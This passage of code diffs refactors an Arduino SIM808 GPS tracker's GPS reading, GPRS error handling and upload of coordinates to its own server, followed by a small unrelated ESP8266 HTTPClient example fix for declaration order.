-/*  posBuf=0;
-  i=0;
-  //for(int i=0;i<7;i++){
-  while((posBuf<=99)&&(i<15)){
-    while((GPRS.available()>0)){
-      infoLocation[posBuf++]=GPRS.read();
+
+  sim808_read_buffer(infoLocation,BUFFER_SIZE,DEFAULT_TIMEOUT);
+  GPSAnalyzer32(infoLocation);
+
+  //Send collected data to mysql server
+  Serial.println("SendError:");
+  Serial.println(SendGPSLocation());
+  //createSMSMessage(smsMessage,latitude, longitude, MSL_altitude, Speed);
+
+  //put GPS to sleep
+  sim808_check_with_cmd("AT+CGPSPWR=0\r\n","OK\r\n",CMD);
+  //delay(5000);
+  return 0; //success
+}
+
+
+/****************************************************************************
+ * wait_GPS_connect(int seconds)
+ * wait GPS acquire signal
+ ****************************************************************************/
+boolean wait_GPS_connect(int timeout){
+  unsigned long timerStart;
+  timerStart = millis();
+
+  sim808_flush_serial();
+  delay(1000);
+
+  while (1){
+    sim808_clean_buffer(gprsBuffer,64);
+    sim808_send_cmd("AT+CGPSSTATUS?\r\n");
+    if(sim808.readable()) {
+      sim808_read_buffer(gprsBuffer,64,DEFAULT_TIMEOUT);
     }
-    delay(10);
-    i++;
-    //delay(15);
-  }*/
-
-  sim808_clean_buffer(infoLocation,sizeof(infoLocation));
-  sim808_read_buffer(infoLocation,sizeof(infoLocation),DEFAULT_TIMEOUT,DEFAULT_INTERCHAR_TIMEOUT);
-  GPSAnalyzer32(infoLocation);
-
-  //Send collected data to mysql server
-  SendGPSLocation();
-  //createSMSMessage(smsMessage,latitude, longitude, MSL_altitude, Speed);
-}
-
+
+    Serial.println(gprsBuffer);
+    if(strstr(gprsBuffer,"3D Fix")){
+      sim808_clean_buffer(gprsBuffer,64);
+      sim808_flush_serial();
+      return true;
+     }
+    if ((unsigned long) (millis() - timerStart) > timeout * 1000UL) {
+      sim808_clean_buffer(gprsBuffer,64);
+      sim808_flush_serial();
+      return false;
+    }
+
+    delay(10000);
+    //sim808_flush_serial();
+  }
+ }
+

 /*void resetBuffer()
 {
@@ -638,49 +712,44 @@
   if(sim808.readable()) {
     sim808_read_buffer(gprsBuffer,64,DEFAULT_TIMEOUT);
     //Serial.print(gprsBuffer);
-    if(currentRadioSig <= 7) {
-         Serial.println("NOGPRSsig");
-         sim808_send_cmd("AT+CDNSGIP=\"ardugps.hopto.org\"\r\n");
-         previousRadioSig = currentRadioSig;
-         return NO_GPRS_SIGNAL;            //error of weak signal or DNS failed
-    }else{                                 //radio signal > 7
-      if(previousRadioSig > 7){            //signal still good
-        previousRadioSig = currentRadioSig;
-      }else {                              //signal recovered
-        error = InitGPRS();
-        previousRadioSig = currentRadioSig;
-        if(error > 0) { //initGPRS failed
-          Serial.print("GPRSfail: ");
-          Serial.println(error);
-          return error;
-        }
-          Serial.println("GprsInitOK");
-      }
-    }
-  }
+  }
+  if(currentRadioSig <= 7) {
+       Serial.println("NOGPRSsig");
+       sim808_send_cmd("AT+CDNSGIP=\"ardugps.hopto.org\"\r\n");
+       previousRadioSig = currentRadioSig;
+       return NO_GPRS_SIGNAL;            //error of weak signal or DNS failed
+  }else{                                 //radio signal > 7
+    if(previousRadioSig > 7){            //signal still good
+      previousRadioSig = currentRadioSig;
+    }else {                              //signal recovered
+      error = InitGPRS();
+      previousRadioSig = currentRadioSig;
+      if(error > 0) {                    //initGPRS failed
+        Serial.print("GPRSfail: ");
+        Serial.println(error);
+        return error;
+      }
+      Serial.println("GprsInitOK");
+    }
+  }
+

   //get the local ip number
   //GPRS.println("AT+CIFSR");
-  sim808_send_cmd("AT+CIFSR\r\n");
+  sim808_send_cmd("AT+CIFSR\r\n");
+  delay(50);
   sim808_send_cmd("AT+CDNSGIP=\"ardugps.hopto.org\"\r\n");
+  delay(50);

   //start a connection to TCP to URL and port
   if (prot == TCP){
-    if(!SendCIPSTART(TCP)){
-      delay(1);
-      //Serial.println("AT+CIPSTART => FAIL");
-    } else {
-      delay(1);
-      //Serial.println("AT+CIPSTART => OK");
-    }
-  }else {
+    if(!SendCIPSTART(TCP)){            //TCP protocol
+      return START_GPRS_TCP_FAIL;      //"AT+CIPSTART => FAIL";
+    }
+  }else {                              //UDP protocol
     if(!SendCIPSTART(UDP)){
-      delay(1);
-      //Serial.println("AT+CIPSTART => FAIL");
-    } else {
-      delay(1);
-      //Serial.println("AT+CIPSTART => OK");
+      return START_GPRS_UDP_FAIL;      //"AT+CIPSTART => FAIL";
     }
   }

@@ -699,35 +768,27 @@
   strcat(data2db,",");
   strcat(data2db,Speed);

-  //Serial.println("valor de data2db: ");
-  //Serial.println(data2db);
+  Serial.println("valor de data2db: ");
+  Serial.println(data2db);

   if(!SendDataCIPSEND(data2db,sizeof(data2db))){
-    if(prot == TCP){
-      if(!SendCIPSTART(TCP)){
-        delay(1);
-        //Serial.println("AT+CIPSTART => FAIL");
-      } else {
-        delay(1);
-        //Serial.println("AT+CIPSTART => OK");
-      }
-
+    if(prot == TCP){                  //TCP protocol
+      if(!SendCIPSTART(TCP)){         //Trying to restart TCP protocol
+        return START_GPRS_TCP_FAIL;
+      }
+
       //delay(1000);
       delay(100);
-      if(!SendDataCIPSEND(data2db,sizeof(data2db))){
-        //Serial.println("CIPSEND =>RESEND FAIL");
-        delay(50);
-      } else {
-        delay(1);
-        //Serial.println("CIPSEND => RESEND OK");
-      }
-    }
-  } else {
-    delay(1);
-    //Serial.println("CIPSEND => OK");
-  }
+      if(!SendDataCIPSEND(data2db,sizeof(data2db))){    //Trying to resend TCP data
+        return SEND_TCP_DATA_FAIL;                      //"CIPSEND =>RESEND FAIL"
+      }
+
+    }else{                             //UDP protocol
+      return SEND_UDP_DATA_FAIL;
+    }
+  }

   delay(50);

@@ -852,11 +913,25 @@
   ********************************************************************************/
 boolean GPSAnalyzer(char *gpsBuffer) {
    char *token;
-
+   char *validation;
+
+   validation = gpsBuffer;
    /* get the first token */
    //Serial.println("**Content of gpsBuffer**");
-   //Serial.println("valor do buffer :");
-   //Serial.println(gpsBuffer);
+
+//   Serial.println("buffer3:");
+//   Serial.println(gpsBuffer);
+
+
+   if(!strstr(validation,"+CGPSINF: 2")) { //not valid gps data
+     return false;
+   }
+
+   if(strstr(validation,"0000.0000,N,00000.0000,E")) { //no lat or lng available
+     return false;
+   }
+
+

    //Get Command sent
    token = strtok(gpsBuffer,"\n\r" );
@@ -893,8 +968,8 @@
    if(token != NULL) {
       strncpy(latitude,token,sizeof(latitude));
       latitude[sizeof(latitude)-1] = '\0';
-      //Serial.print("LATITUDE        : ");
-      //Serial.println(latitude);
+      Serial.print("LATITUDE        : ");
+      Serial.println(latitude);
    }else return false;

    //Get North or South


Update StreamHttpClient.ino (#6030)

Update StreamHttpClient.ino (#6030)

Fix WiFiClient vs. HttpClient declaration order
Fixes #6028

--- libraries/ESP8266HTTPClient/examples/StreamHttpClient/StreamHttpClient.ino
+++ libraries/ESP8266HTTPClient/examples/StreamHttpClient/StreamHttpClient.ino
@@ -38,9 +38,8 @@
   // wait for WiFi connection
   if ((WiFiMulti.run() == WL_CONNECTED)) {

-    HTTPClient http;
-
     WiFiClient client;
+    HTTPClient http; //must be declared after WiFiClient for correct destruction order, because used by http.begin(client,...)

     Serial.print("[HTTP] begin...\n");